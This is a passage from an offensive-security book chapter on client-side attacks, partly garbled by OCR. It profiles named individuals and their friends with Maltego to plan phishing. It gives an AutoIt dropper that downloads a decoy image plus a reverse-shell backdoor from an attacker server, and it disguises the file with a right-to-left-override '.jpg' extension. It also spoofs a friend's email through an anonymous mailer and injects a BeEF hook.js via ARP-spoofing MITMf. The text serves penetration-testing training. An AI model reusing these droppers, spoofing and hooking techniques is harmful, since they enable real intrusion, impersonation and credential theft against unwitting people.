that Mohammed Askar's email ism.askar@isecurlty.org, and this email is associated
with Mohammed.
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Also, if the email is @isecurlty.org, then this person is probably is associated with
isecurlty.org as well. If we do a Google search, we will see that Askar is the admin of
isecurlty.org. So again, we're going to include an arrow from isecurlty to Mohammad.
We are going to do the same with the Mustafa entity because we can see we have his
email, mustafalalbazy.com, and we'll also associate isecurlty with this person. So now,
as can be seen in the following screenshot, our target is Zaid, and we know Zaid uses
Udemy and teaches courses there. We were also able to find Zaid's blog, and we were able
to see his YouTube and LinkedIn profiles:

A

Zald Sabih

-~
W +
Zald
WA Lid e myLCom o+
zad @isecurlty. org F
5
@' LW pnsgallngs

R \
W {
- |
WIS LIrL Y. Brg &b
W

Mohammad Askar

Mustafa albary

@ @ maskar@isecurlty. org

Info@isecurlty.org mustafad@albazy. com

Connections associated to the target.
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This arrangement can make us think of so many ways to attack Zaid; we can look at how
active he is on Udemy and pretend to be a person from Udemy. We can pretend to be an
admin from Udemy and send him a program, for example, and tell him this is our new beta
program that we're only giving to special instructors. This way, Zaid will feel privileged
because he's getting something that other instructors are not getting, and he'll run that file.
And once he runs that file, which is a Trojan, it will create a backdoor, a keylogger, or a
program that will steal his passwords, or allow us to do anything we want on the target
computer. As mentioned earlier, we're not going to be studying technical things in this
section; we'll look at that in upcoming sections, so we'll know how to do it. When we say
we'll send him a file that looks like a normal file, we'll actually be able to do that, and this
normal file will be a normal program, but, in the background, it will do what we tell it to.
We can also pretend to be from YouTube, from WordPress, or from Udemy, and ask Zaid
to reset his password and give him a link that has a login page exactly the same as the login
page of Udemy or YouTube. Once he puts in their password, we'll actually get that
password. So the possibilities are endless here, and we'll talk about ways of doing all of that
later on.

Looking at the connections that we can see with isecurlty, we can see that this person has a
lot of connections with the isecurlty company. We can see that he has

an @isecurlty.orgemail. Again, this email is really useful because this is how we're
going to be communicating with Zaid. We can also communicate with him through Udemy
by sending him messages, but it is obvious that his friends don't really communicate with
him over Udemy. So we should target Zaid using his email. And we have his friends, such
as Mohammed, and we can see that there are many connections between him and Zaid.
They're both friends on Twitter, they're both active on isecurlty, and they both have
@isecurlty.org emails. So this makes us think they're not only work colleagues, but that
they're probably friends as well. By exploiting this friendship, we can send stuff to Zaid
asking him about anything really; we can show him pictures of a car that we want to buy,
or we can send him PDFs, because we know that both of these guys are interested in
computer security — they're running a security website. If we send him a PDF, when he
opens the PDF, it'll run the file that we want it to run on the system, which will give us
access to Zaid's system.
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When we send an email, we will be able to send an email that looks exactly as if it's coming
from Mohammed, and we can do the same with Mustafa. So we can send stuff to Zaid, we
can send him things that they're both interested in, we can send him pictures, or

links asking him to log in and do something; the possibilities are endless when it comes to
social engineering. Not only that, let's say we tried everything and we couldn't hack into
Zaid's system. We pretended to be all of these people and tried everything that we could
think of, and we still couldn't reach Zaid's system. This is not the end of the world; instead,
we could try to hack into one of his friend's computers. So we can try to hack into
Mohammed's computer or Mustafa's computer. From there, we'd try to get into their
Facebook and then communicate with Zaid via Facebook, because we can't really send a
message that looks like it's coming from Mohammed on Facebook, we can only do that
with emails, but again, we can hack into these guys' Facebook accounts and then try to hack
into Zaid's. Why not hack into their isecurlty accounts? We know these people are admins;
they have @isecurilty.org emails. We could hack into their computers and hack into
isecurlty.org. Zaid definitely browses isecurlty, so embed a backdoor in there or
change one of the files that's hosted on isecurlty into a backdoor, and then once Zaid
downloads it or uses it, we will be able to hack into his computer.

In the next section, we will learn how to send these fake emails, create these backdoors,
create these keyloggers, and all that cool stuff. For now, I just wanted to show how
powerful Maltego is and how we can use it to gather information about anything. We
started with nothing but a name, Zaid Sabih, and we were able to gather information about
his websites, his blog, his YouTube, friends, and emails. Again, this person is a techie, a
person who is interested in information technology, so he's very careful about what he
shares, but we were still able to gather enough information to build up an attack strategy. If
we do this with a normal person, we will be surprised by the amount of information we can
gather about them.
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Downloading and executing Autolt

In this section, we will learn how to combine the backdoor that we created with any other
file type, so that when executed, it will display an image, a PDF, a song, or something that
the target person is interested in. This way, we will be able to social engineer them to run
our backdoor and they will see something that they trust, but our backdoor will be running
in the background. We're going to do this using a download and execute script that will
basically download the backdoor, download the file that the person expects, run the files
that the person expects, and run the backdoor in the background. The download and
execute script is included in the resources, which is available at the book's GitHub
repository. After downloading the file, open the file and we can see the code used inside
the script:

#include <StaticConstants.au3>
#include <WindowsConstants.au3>

Local S$Surls = "urll,url2"

Local SurlsArray = StringSplit ($urls, ",", 2 )

For $url In SurlsArray
SsFile = _DownloadFile (Surl)
shellExecute ($sFile)

Next

Func _DownloadFile ($sURL)
Local S$hDhownload, $sFile
$sFile = StringRegExpReplace ($sURL, "~.*/", "")
$sDirectory = Q@TempDir & S$sFile
ShDownload = InetGet ($sURL, $sDirectory, 17, 1)
InetClose (ShDownload)
Return $sDirectory

EndFunc ;==>_GetURLImage

The script is programmed so that we can use it to download and execute anything, and any
number of files. So, all we have to do is enter the links or the URLs for the files in the Local
$urls parameter, and separate the links by a comma. So we can enter URL, and keep
going. We can use this script to download and execute two executables, three executables,
or any number of files we want. Now, we are going to put in the file that we want the target
person to see. This file needs to be available online and uploaded on a direct link so that it
can be downloaded from that link. For this example, we are going to use an image, but we
can use any other file types, even get them to open a PDF, or anything else that we want.
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Therefore browse Google Images and look for an image. Click and open the image, right-
click on the image, and click on Copy image address:

Packt

Open link in new tab

Open link in new window

Open link in incognito window

Save link as...

Copy link address

Open image in new tab
Save image as...

Copy image

I Copy image address I

Search Google for image

Inspect Ctrl+5Shift+I

Notice that when we do this, we get the image itself through a direct URL on the address
bar, so we can see that the end of the URL is . jpg. When we access the image, there will be
no ads around it; all we can see is the file itself. The files included in our script all need to
have a direct URL. Paste the URL into the script as follows:

Local Surls =
"https://res.cloudinary.com/goodsearch/image/upload/v1508929095/hi_resoluti
on_merchant_logos/packt—-publishing_coupons.png"
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The next file that we wanted to be downloaded and executed is our backdoor. We are going
to insert a comma and then we are going to put in a direct URL for our backdoor. For our
example, that URL is stored at
http://10.20.14.213/evil-files/rev_https_8080.exe. If we just paste that URL,
we can access the file and download it directly. This is very, very important; the script will
not work if we don't use direct URLs. As we can see, the script is very simple, all we have
to do is insert the URL for the first file and then we put in a comma, which is important
again. We have to separate the URLs by a comma, and then we put in the URL for the
second file. As mentioned earlier, if we want to download more files, or download more
backdoors or more evil files, all we have to do is insert another comma and put in the next
URL. The Local $urls parameter should now contain the following parameters:

Local $Surls =
"https://res.cloudinary.com/goodsearch/image/upload/v1508929095/hi_resoluti
on_merchant_logos/packt-publishing_coupons.png,
http://10.20.14.213/evil-files/rev_https_8080.exe"

Now, all we have to do is compile the script to an executable, and we are going to learn
how to do that in the next section.

Changing the icon and compiling the
payload

In the previous section, we worked on our script. In this section, we are going to learn how
to compile it to an executable and how to change its icon. The script is written in a scripting
language called Autolt. Autolt doesn't come preinstalled in Kali, but it gets installed when
we install Veil. Since we're using a Veil backdoor, there's no way we could have gotten to
this point without having installed Veil. That's why we are not going to cover how to install
Autolt; we can just download it and run the installer using Wine. So, Autolt should be
already installed for us by now, and all we have to do is rename the . txt file and change
the extension from . txt to .au3. Then, search for the program in Kali by typing

compile and we will see that we have the application that will compile Autolt scripts for
us, as shown in the following screenshot:
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The first thing it asks us for is the source Autolt script, and that's the file that we made. So
we are going to click on Browse, navigate to the . au3 file, and click on Open. We can also
set where it's going to be stored, but we're just going to keep storing it in Downloads, as
shown in the following screenshot:

Aut2Exe v3 - Autolt Script to EXE Converter [— < ]

File Compression Help

A@1999-2015 Jonathan Bennett & Autolk

Team

rFiles
Source {Autolt ,au3) IZ:IrootlDownlnads'l,autoit-downlnad-and-execute.aUS Erowse I
Destination {.exe/.a3x) & exe &g

IZ:'l,rnnt'l,annIDads'l,autDit—dnwnload—and—execute.exe Browse |
roptions
Custarn Ican Cico File) I Browse | Default |
Compile for Svskem [T w54

Ready

As we can see, we can change the icon and use a custom icon by uploading a . ico file
under Options. To do this, we'll have to first download an icon that represents our file.

If our file was a PDF file, then just visit the Icon Archive website (http://www.
iconarchive.com), and search for and download a PDF icon from the site. However, in our
example, we are trying to use an image as the file that the person sees. Windows usually
shows a preview of the image; it doesn't really show a specific icon for images. So we want
to convert the image to an icon, and to do that, we go to the RealWorld Designer site
(http://www.rw-designer.com/image-to-icon). Download the image that we want to
make an icon of, upload it to the site by clicking Browse, convert it from the site, and save it
in the Downloads directory. The following are the details required for Online Icon Creator:
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©) Online Icon Creator

i@l 1. Pick image to convert

| Browse... | packt-publishing_coupons.png
Allowed formats: .jpg, .png, .gif, .bmp [ Maximum size: IMB

/'5’ 2. Choose icon type C) 3. Get your icon

| lcon for Windows XP or older L T
I
() Icon for Windows 7 or Vista ‘ ;j Download

| Fav-icon or toolbar icon ;
Save your icon to a folder of your

) i choice.
Custom sizes 16, 32 ‘
Learn more about differences between icon types: \.r\
Win XP icons = Win 7/Vistaicons e fav-icons /J

Now, go back to the compiler and set the options—the icon—(we are going to click on

Browse), and select the icon that we just downloaded:

Aut2Exe v3 - Autolt Script to EXE Converter

File Compression Help

f@199a-2015 Jonathan Bennett & Autolt Team

hkbpef fean, autoitscript . connyaukoit3)

0

rFile:
Source (Autalt .aud) IZ:'I,roc-t'I,D-:-wnIc-ads'l,autc-it—downlnad—and—execute.au3 Browse |
Destination {.exel.a3x) & exe a3y

IZ:'|,r0Dt'l,Down|Dads'l,autoit—download—and—execute.exe Browse |
Cpkions
Custam Ican {Lica File) IZ:'I,r-:c-t'l,Dc-wnloads'l,packt-publishing_coupc-ns.i-:n | Erowse ’ DieFault |
Compile for Swstem [ xe4

Ready
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All the options are set. All we have to do is click on Convert, and the file will be generated:

File Compression Help

Aut2Exe v3 - Autolt Script to EXE Converter

&@1999-2015 Jonathan Bennett & Autolt Team

http: f v, autoitscript. comy auboit 3/

rFiles
Source (Autolt ,au3)

Destination {.exef.a3x)

Aut2Exe (]

I Ziroob\Down

[y o Canversion complete.,
I Zi\root\Down

roptions

Custarn Icon (oo File) I Z:\rootDownloadsi packe-publishing_coupons ico

Carnpile For Systen [ xed

K Brase |
EXE Erowse |
Browse | Default |

Writing destination .exe. ..

Click on OK, and close everything. Now we have the executable in . exe:

Name

*
0.0

@

autoit-download-and-execute.exe

packt-publishing_coupons.ico

packt-publishing_coupons.png

autoit-download-and-execute.au3

Size
895.0 kB
313 kB

16.2 kB

652 bytes

So, when we are sending it to the target, we want to be sending . exe, the executable, as we
can see in the preceding screenshot. Now, copy the executable into the web server at
the /var/www/html/evil-files directory.
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Before downloading the file to the target computer, we want to listen for incoming
connections from Metasploit. We learned how to do that in chapter 10, Gaining Access to
Computer Devices. For now, we are only going to run exploit to wait for incoming

connections. Now that everything is ready, go to the Windows machine and download the
file. The file is going to be available

athttp://10.0.2.15/evil-files/autoit—-download-and-execute.exe. Visit the
link and save the file:

| O\ 10.0.2.15/evil-files/autoit-download-and-execute.exe

Opening autoit-download-and-execute, exe >

You have chosen to open:
[Z] autoit-download-and-execute.exe

which is: Binary File (874 KB)
from: http://10.0.2.15

Would you like to save this file?

As we can see in the following screenshot, we have a file that has an icon, which has a

preview of the image, so it's very representative. If we double-click this file and run it, we
see that we get an image that corresponds to the icon:

| @ + | Downloads
Home Share Wiew

&« « 4 ¥ » ThisPC » Downloads

~ gk Quick access
[ Desktop
* Downloads
Documents
[&=] Pictures

J., Music autoit-download-and-ex
Screenshots ecute.exe

Packt>

% u [

Systermn32

m Videos
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If we go to the Kali machine, we will see that we encountered a Meterpreter session and,
basically, now we've hacked into the target computer and can do anything that we want to
the target. So, just to confirm, we are going to run the sysinfo command and, as we can
see in the following screenshot, now we're inside the target computer, and we have full
access to it:

We managed to do this with a file that has an icon of an image and actually displayed an
image pertaining to the target person. As mentioned previously, this method can be used to
combine our backdoor with an image, with a PDF, with a song, or anything that the target
person is interested in.

Changing extensions

If we look at the backdoor, or the Trojan that we've generated so far, all it has is an icon that
represents a file that the target person is interested in. When it's executed, it shows a
normal file. And, at the same time, it's going to execute our code in the background, which
will allow us to hack the target computer, or do whatever we want. The only problem with
this file is that if we look at the end of the file, we can see that it has a . exe extension. In
most cases, the target probably won't see the . exe extension because Windows is
configured to hide it, but if it's not hiding it, then it's obvious that this file is an executable
because it ends with a . exe extension. In this section, we are going to focus on how to
spoof our Trojan and change it to something that corresponds to the file. If we're trying to
make our backdoor look like a PDF, we can make it look like it has a . pdf extension; if
we're trying to make the file look like an image, we want to make its extension look like a
.Jjpg, a .png, or an extension that represents the image.
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In our case, we're trying to make it look like an image, which means it should have a

. Jpg extension. To do that, we're going to use a right-to-left override character. We are just
going to copy and paste it into our text editor so that when we are modifying things, it's
clear to us what we are doing;:

Image.exe
.ipg

Imagegpj .exe

In the preceding screenshot, we can see the new filename that we want to use, which is
Image, and this is going to have a . exe extension. Now, instead of . exe, we actually want
to have . jpg, but that's not possible because if we do that, the file is not going to be an
executable. To change the extension, we are going to try to get the text to be read from right
to left, using a right-to-left override character. Because the text is going to be read from
right to left, we're going to type gpj after the Image filename, but we're going to spell it
from right to left. Again, this is just the extension that we want to use, but we're spelling it
from right to left, so we're spelling it gpj instead of jpg.

Now, we want to put in a right-to-left character. When we put that character in the text,
anything that comes in after that character will be read from right to left, so all this is going
to be flipped and the Imagegpj . exe filename is going to be called Imageexe, and gp3 is
going to be read from right to left, so it's going to be . jpg. Let's perform it and we'll see
what we mean by reading from right to left. To get that character, we're going to search for
Characters in Kali and open the program:

Q_ characters|
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Click on the Search icon and search for the right-to-left override:

(2]

l Q, right-to-left a

Recently Used

° Smileys & People

©2’ Animals & Nature

Food & Drink

) Activities

&% Travel &Places
4 Objects

@9 Symbols

?5"‘ Flags

A Letters & Symbols »

Smileys & People

Right-to-left
Mark

Right-to-left
Embedding

Right-to-left
Override

Right-to-left
Isolate

ee®o
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If we click on it, we will see a button that will allow us to copy that character:

Right-to-left Override [ ]

Copy Character

Unicode U+202E

Click on Copy Character and that will copy the character for this example. Now, go back to
editor and paste the copied character in front of gpj . exe:

File Edit Search Options Help
1 Imagefxe.jpg

As seen in the preceding screenshot, if we paste it, everything is being read from right to
left and the filename is going to be called Imageexe. jpg. If we are using this as a book or
as something else, we want to think of a name that ends with "ex". Anything that ends with
"ex" will be a good name to use. So, we have our name now and we are just going to copy
the new name from the text editor, and then we are going to rename the backdoor file and
we will have a file called Imageexe. jpg, as shown in the following screenshot:

a Imageexe.jpg 895.0 kB
index.nginx-debian.html 612 bytes
%+ rev_https_8080.exe 29MB
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Now, we can send the new file to the target, but we don't want to send it like this because
some recent browsers are removing the right-to-left override when downloading the file, so
what we are going to do is compress the file to Imagejpg.zip:

#+| Imageexe.jpg 895.0 kB

2 Imagejpg.zip 459.0 kB
71P

This way, when the file is downloaded by the browser, it will not replace the right-to-left
override. Copy the content, paste it into the evil-files folder, and then we're going to
download it from the Windows machine.

Now, we will listen for incoming connections (we have already done this, so if a refresher is
needed, go back to chapter 10, Gaining Access to Computer Devices). Go to the Windows
machine and download the file, which is located at http://10.0.2.15/Imagejpg.zip:

Q, 10.0.2.15/\magejpg.zip

Opening Imagejpg.zip >
You have chosen to open:
¢ Imagejpg.zip

which is: Compressed (zipped) Folder (448 KB)
from: hitp://10.0.2.15

What should Firefox do with this file?

) Open with | Windows Explorer (default) hd

(@) 5ave File

[1Do this automnatically for files like this from now on.

Cancel
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Uncompress the downloaded file and, as we can see in the following screenshot, the file has
a . jpg extension. It has an image icon and, if we double-click it, it will actually show us an
image, but, at the same time, it's going to execute our backdoor in the background:

« =3 « 4 ¥ > ThisPC > Downloads »

s Quick access

&
[ Desktop - 4 =
‘ Downloads 4 PGCI("') PGCI("')
|j Documnents 4 e e
= Pictures 4
J‘& Music :

image.exe Imagejpg.zip Imageexe.jpg

So, if we go to the Kali machine, we will get a session from that computer, and, just to
confirm this, we are going to run sysinfo. As we can see in the following screenshot, we
are now inside that computer and we have full control over it:

We managed to do this using a file that looks and functions exactly like an image. This
method can be used to make the file look like any other file type, so we don't have to make
it look like an image; we can use this method to make it look like a PDF, a song, a video, or
anything that we want. We can use the download-and-execute payload to combine the

backdoor with any file, and then use this method to change the file extension to any file
extension we want.
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Client-side attacks — TDM email spoofing

We've seen how we can backdoor any file and make it look like a document, a song, a
program, or an image. Our example was an image, but we can do it on any file. So, we
should be gathering information using Maltego and then target the person based on

the information gathered. For example, we can pretend to be tech support and ask the
target person to install an update and combine our backdoor within an executable, or we
can just pretend to be a friend or a colleague and ask the target person to run a certain
document or a PDF; the possibilities are endless. In this example, we are going to pretend to
be a friend and we are going to ask the target to open a picture of an image, telling them
that we are thinking of buying that car. We are going to use the backdoor that we created in
the Changing extensions section and use an image of a car instead, and then we are going to
contact our target asking them what they think of this car.

Let's go back to the graph that we created with Maltego and look at the screenshot from the
SE summary section where the information is displayed. By browsing his Twitter, we
managed to see that our target has a friend called Mohammed, and when we went on his
email, we saw that the same person has an email address of m.askar@isecurlty.org. So,
this person came up twice, on the email address and on Twitter, so our target probably has
a good relationship with this person and there's a high chance that Zaid will open
something from them. So we can contact our target on Twitter pretending to be someone
who knows Mohammed, or we can contact them by email. Contacting them by email has a
huge advantage because we can pretend to be m.askar@isecurity.org, and we can send
an email that would look exactly as if it came from Mohammed Askar:

[ ] L MSEdge - Win10TH2 [Running]
| [ = Application Tools  Downloads = o x

Home Share View Manage 7]
&« 1+ & » ThsPC 5 Downloads » o . B

o Quick access

I Desktop . P “ ——
4 Downloads M - m .
:| Documents
&= Pictures gtr-image.exe gtrese.zip gtrcE_c.Jpg
B Music

System32
B Videes

v OneDrive

B This PC

¥ Network

Image that is downloaded from the attachment sent through the mail.
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So, that's what we're doing. Let's go to Google and search for a mailer. We can host our
own mailers on our own web service or we can use Google to look for mailers. I've tried a
few of them and could send anonymous emails with the most secure mailer. So we are
going to use https://anonymousemail.me/; it asks us to put in our name, since we are
pretending to be Mohammed, so we are going to put it as mohammed, and then it will ask us
for the email, that is, where the email will be coming from, and we're going to set it as
m.askar@isecurlty.org, so the message we're going to send will look as if it's coming
from this email. We are just going to use a test email that we set up. We can also set an
option for where the message will go if the person replies to that message. We are going to
leave that empty, set the subject to Check out this car, and then set an informal
message, because we think that this person is a friend. The following screenshot shows the
preceding steps:

mohammad m.askari@isecurity.org ghostolmatrix@gmail.com
Chack out this car
W @ @ G | | - W EEE s Q|| B soune
BE I & I, = &= " Styles - Flanma - ':’
hey, what do you think of this car, 'm thinking of buying it
body p a4
Attachmant (Sizs 2N
Browse.. | Maofile selected
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Now we can send an attachment with the email, but, most of the time, attachments don't
always get sent successfully, so it's recommend to upload the backdoor on Dropbox or
Google Drive and then send a link to the target. Always shorten the shared URL to make it
look shorter and more acceptable. We can do that by Googling a link-shortener, so we're
going to use bitly.com, a very famous service. All we are doing now is social engineering,
just making the message look more acceptable. Copy the shortened link and send it in the
message. And that's it, we are done, so send the message:

Ghack out this car

E # E - || = ™ BB S €)|3]| B Source
B I & | I||l&= :2 3 | Siyle: = | Marm: - P
ney, what do you think of this car, I'm thinking af buying =

mitto o ihit I_«_.-.' LT=Ea0F]

body p d

Astachmani ra limit : 2MB)
Browse.. | Mo file selected
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We have already logged into our test account and we will see that we got an email from a
person called Mohammed. If we hover over it, we will see that it's coming from
Mohammad Askar from m.askar@isecurlty.org, and can even see the picture of the
guy, even though we didn't send the email from his email and we don't know his
password. We actually just sent it from an anonymous mailer, but it looks exactly as if it
came from him, and he's our friend, so it's highly likely that we will open his message:

[ N ] MSEdge - Win10THZ [Running]

M inbaox (1) - ghostofmatr |

@
¢ O [A mnigogecon ¥ =4 &

i i == % 0@

Gmail -

Q

Mare 1-10f1 = o- o

EEE o 2 soc @ Fromotons '

Inbox {1)
S mahammed Check out this car - hey, what do you think of this car, F'm thinking of buying it hitp: /it y 12:21 pm

ot
Impartant Mohammad Askar
0.6 GU [7%) of 16 GB ws M ASKAFEDISECUr Y. ofg
Sent Mall [LESENT 4 Last account achvily: O mnares ago

Divafts (1)
+2 Add to crcles S
Mara labels ~

.ﬁ Rami Q

& Load Ab-qursishy

Spoofed email received
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The message is just telling us that he is going buy a car, and is asking us to have a look at it
and what we think of it. So we will probably click on the link. And now the picture has
been downloaded, so if we just open the picture, called gt rexe. jpg, it actually has the
icon for the car, hence the extension is still an extension for an image:

l- o ¥ | Derwmdpads
Home “hare Wiew

= L * ¥ This P ¢ Downdoads

aF Cunck access .

B Desltap &

_‘ Dierverdoach & backdoor.e gtree.jpg
ue

5| Dacuments o

e Feclures i
J‘l L T
B videos

i Dnelre

EH This PC

i Metwork

Backdoor with a .jpg extension

If the target runs the file, we will have a Windows command shell where we can do
anything we want on the target's system.
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Summary

In this chapter, we studied how we can perform client-side attacks using social engineering.
We used social engineering techniques to again access to the victim's machine by making
him actively participate in actions that help us to gain control over his system. We studied
an important tool, Maltego, which is very powerful and helped us to collect important
information about the target's social life; we could stalk his all social media accounts. Using
this information, we planned ways whereby we could attack the target. We even learned
how to create customized icons for files to act as backdoors for us to attack his system.

Employing information from Maltego, we used the email ID of a friend of the target to send
a message that contained a backdoor that would activate once the victim opened the file.

In the next chapter, we will be studying the BeEF browser tool to attack the target system
and detect Trojans.
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Attack and Detect Trojans with
BeEF

In this chapter, we will learn about the BeEF tool and how to hook it using a man-in-the-
middle framework (MITMf). We'll then learn how to steal a username and password by
redirecting the user to a dummy website where we will capture all their credentials. Then,
we will gain access to the Meterpreter section using BeEF. Lastly, we will learn how to
detect Trojans both manually and with a sandbox.

In this chapter, we will cover the following topics:

e The BeEF tool

BeEF - hook using a MITMf
BeEF - basic commands
BeEF - Pretty Theft

BeEF — Meterpreter 1
Detecting Trojans manually

Detecting Trojans using a sandbox

The BeEF tool

In this and the coming sections, we're going to have a look at a tool called BeEF.

The Browser Exploitation Framework (BeEF) allows us to run a number of commands and
attacks on a hooked target. A hooked target is basically a target that executes an URL or a
JavaScript code given to us by BeEF. Once the target is hooked, we'll be able to run all the
commands that BeEF allows us to.
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The first thing we're going to have a look at is the main interface of BeEF, how to run it, and
a very simple way to hook a target to BeEF. To run BeEF, we just have to click on the BeEF
icon on the desktop. It'll automatically run the http://127.0.0.1:3000/ui/panel URL,
which contains the browser interface or the web interface of the tool. It'll ask for a username
and a password. The username is bee f and the password is beef as well. Once logged in,
on the left, we'll see the browsers that we have access to, in the Hooked Browsers pane:

¥ BeEF 04.7.0-alpha | Submit Bug | Logoul

Hooked Browstrs Gatting Started % Logs
1 Onling Browsers
4/ OfMine Browsers
43100215
? M 0025
7H¥ 10025
7 @¥ 10025
7 @ 10025
7 ¥ 10025

3

Official websive: hipbesiproject.com/
Getting Started
Welcome 1o BoEF!

Before being able 1o fully explore the framewaork you will have to ook’ a browser. To begin with you

cin paint i browser towards the basic demo page hore, of the advanced viersion here

It you want 1o hoak ANY page (for debugging reasons of course). drag the following bookmarkiet link
into your browser's bookmadk bar, hen simply click thee shortcist on anather gage: Hook Mu!

Aer & browser 5 hooked into the framework Mey will appear in the Hooked Browsers’ panel on the
it Hooked browsers will appear in ither an online or ofine state, depending on how recently they
nave polled the framevark

Hooked Browsers

To interact with a hooked browser simply lefi-click it a new tab willl appear. Each hooked browser tab
has & number of sub-tabs, described below:

5plays recent log entries related 1o this panicutar hooked browser.

Commands: This b Is where modules can be execuled against the hooked browser, This s
where most of the BeEF hmctionality nesides. Most command modubes consist of Javascripl code
that Is executsd AQRINST the selected Hooked Browser, Command madules are able © periom
any achons Mat can be achieved Miough Javascript for example they may gather information
aboul the Hooked Browser, manipulate the DOM or perform other activiies such as exploiting
ulnerabdlities witin the (ocal network of the Hooked Browser,

Eath command module has a traffic light icon. which is used to indicate the following:
The o o module works &g warget and shauld be invisible o the user

@ ™ o module works &g target, but may e visible i the user
T o module is yel o be against this targel
@ The command module does not wark against ihis target

Basic Requester XssRays: The XssRays tab allows the user 1o chveck I links, lorms and URI path of the page

fshisps S e is hevakisdh i sloesahle o XS5

The Online Browsers are the browsers that we currently have access to, and the Offline
Browsers are the ones that we had access to. At the moment, we can't run any commands
on the browsers; we had access to these browsers before, but we can't currently do anything
on them.

What interests us is the Online Browsers. There are a number of methods to get browsers
or targets hooked to BeEF. If we just go back to the Terminal window, we can see that it's
telling us the script URL that has to be executed on the target browser so that they get
hooked to BeEF:
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If we can find or think of a way to get the preceding piece of URL to be executed on the
target computer, then that target will be hooked to BeEF, and then we will be able to run all
types of commands on that computer.

We can use methods that we've already learned, we can use DNS-spoofing to spoof any
request to any page or to a page containing the hook, or we can do ARP poisoning and
inject the hook URL into any page that the target browses. We can use an XSS exploit,
which we'll talk about in chapter 21, Cross-Site Scripting Vulnerabilities. Or we could create
a page and social engineer our target to open that page, a hook page. We are going to create
a hook page and see how a target will be hooked. The hook page that we're going to create
can be used with social engineering and DNS-spoofing.

The page that we are going to create is very simple. We can use any page we want and
place the hook URL at the end of the page. We can go on any website, copy the source of
that website, and then place the hook URL under that. We are going to be doing something
simpler; we are just going to put it into our /var/www/html directory—that's where the
web server files are stored. We are going to modify our index.html file, we'll delete
everything, and put in the hook URL that was given to us by the tool. We also need to
modify the IP and put in the IP of the attacking machine. So the IP of the Kali machine and
ourIPis10.0.2.15:

index.html

File Edit Search Options Help
1 <script src="http://10.0.2.15:3000/hook.js"></script>|

Now we're good to go, and any person that browses the index.html page will be hooked
to the BeEF browser, or to the BeEF framework. We also need to start the web server,
Apache. To start it, we run the service apache2 start command. Now the Apache
server should be running. Again, we can use social engineering or we can use DNS-
spoofing to get our target person to browse to the index.html page. We can upload the
same page onto a remote server and get access to it, or we can think of any other way we
want.
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At the moment, we are going to just browse to it on our Windows browser, enter
the 10.0.2.15IP, and hit Enter — a blank page should open up:

&« o @ 100215 - @ 1 w @D =

Our page doesn't really say anything, but if we go to our BeEF browser, we will see that we
have a new IP in the Online Browsers, and if we click on that IP, we will see some basic
details about the target computer:

HOOKed BIOWSENS Getling Starked Logs Current Browser
& < Onlin: Browsins
£59100.215 Detalis || Logs || Commands || Rider || XssRays || Ipec || Network | WebRTC
T W 0025 o Category: Browser (6 Hems)
i Oifiine Browsers Browser Version: UNKNOWN Initialization
4100215 Browser UA String: Mozillas.0 (Windows NT 10.0; WinG4; x64; ne61.0) Geckor20100101 Firefox61.0 Iniglizaton
7 M 10025 Broweser Language: en-LIS Inkializatian
7 W 10025 Browser Platform. Wing4 Initialization
T ME 10025 Browser Plugins: [| Inializaton
T M 10025 Window Size: Widih: 1260, Helght 806 Initinlizaton
7 M 0025 5 Category: Browser Components (12 tems)
Flash: No Iniializaton
VBSaript: No Initialization
PhoneGap: Ho Initialization
Google Gears: No Inializaton
Wb Sockets: Yis Initialization
QuickTime: No Initialization
RealPlayer: No niialization
‘Windows Media Player: No Iniializaton
WebRTC: Yes Initialization
ACHVEX: N nializanon
Session Cookles: Yoo Iniializaton
Persistent Cookles. Yis Initialization
= Category: Hooked Page (5 lems)
Page Tithe: Unknown Initialization
Page URL heprl0.0.2 15/ Initialization
Page Referrer. Unknown Iniialization
Host NamelP. 10.0.2.15 Initialization
Cockles: BEEFHOOK=QZkDpg JuCIER]EpNn3vMogFEMMsL: g P piggL Initialization
2 Category: Host (@ tems)
Host NamelP: 10.0.2.5 Initialization
Bask | Requesier Date; MO Jul 23 2018 04:08:41 GMTOT00 (Paciic Daylght Time) wialization
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We can see that the target is using Mozilla/5.0 with Windows NT 10.0, it's Firefox/61.0. We
can also see the installed Browser Plugins. These are very useful if we want to run buffer-
overflow exploits on the target computer. We can also see the Page URL that we managed
to get the hook from, and we can see the Cookies information at the bottom, as well and
details about the date and the Window Size.

The Commands tab is the one we'll use the most. The following screenshot shows a large
number of commands and attacks on the target computer—we'll be dealing with this later:

Details || Logs || Commands

Module Tree

Search
_|Browser (53)

- |_JChrome Extensions (G}
_1Debug (9)

- _]Exploits (78)

- |_JHost(22)
JIPEC (9)

- |_JMetasploit (1)
IMisc (16)
JINetwork (19)

- |_|Persistence (5)
_JPhonegap (16)
_1Social Engineering (21)

The Rider tab will allow us to see and create HTTP requests:

Details || Logs || Commands || Rider || XssRays lpec || Network || WebRTC
History || Forge Request || Proxy
Proto * Domain Port Method  Path ResC.. Res lext Port Status  Processed ReqDate =  ResDale

MO HISIDny

The XssRays tab will show us whether the target web page has any XSS vulnerabilities:

Details Logs Commands Rider || XssRays Ipec MNetwork || WebRTC
Logs Scan Config
Vector Method Vector Name Vector PoC

No History
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The Ipec tab is a BeEF Command Prompt, which will allow us to run BeEF commands from
the Command Prompt instead of using the interface:

Details Logs Commands Rider XssRays Ipec Network WebRTC

Prompt

Terminal

The Network tab will give us an overview of the current network:

Details Logs Commands Rider XssRays Ipec Network | WebRTC

Map Hosts Services

Hooked growser

|

127.0.0.0/8 L@_}

127.0.0.1 [localhost]
Windows

Once we're done with everything, we can click on the Logout link and we will be logged
out of the tool.
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This is just a basic overview of BeEF, the main commands and the interface, and a really
basic way of hooking a target. Again, we can get people to run the hook page by using
social engineering, such as a URL-shortening service to make the link shorter and look
nicer, or we can do DNS-spoofing and get the target person to redirect to our own web
page where the BeEF framework is working.

BeEF — hook using a MITMf

Another method to hook targets to BeEF is to inject the JavaScript that BeEF gives us using
MITM. So, if the target and attacker are in the same network, and if we can become the
man-in-the-middle (or if we manage to the become the man-in-the-middle because we had
a fake access point or because we are physically connected to the target computer,
regardless of the way that we became the man-in-the-middle), we can inject the hook code
into the browser, into the pages (HTTP pages) that the target person browses, and they'll be
hooked to BeEF without clicking on anything, and without our having to send them
anything. We're going to use the exact same link in the page that we used before, which is
http://10.0.2.15:3000/hook. js, or the script. We are going to copy it and then we'll
paste it into our ——inject plugin with MITMf. The command is going to be mitmf, and
then we're going to use the ——inject and --js-url options, and we're going to give it the
URL of the hook. The command is as follows:

mitmf —-—-arp —--spoof —-—gateway 10.0.2.1 --target 10.0.2.5 -i eth0 —--inject -
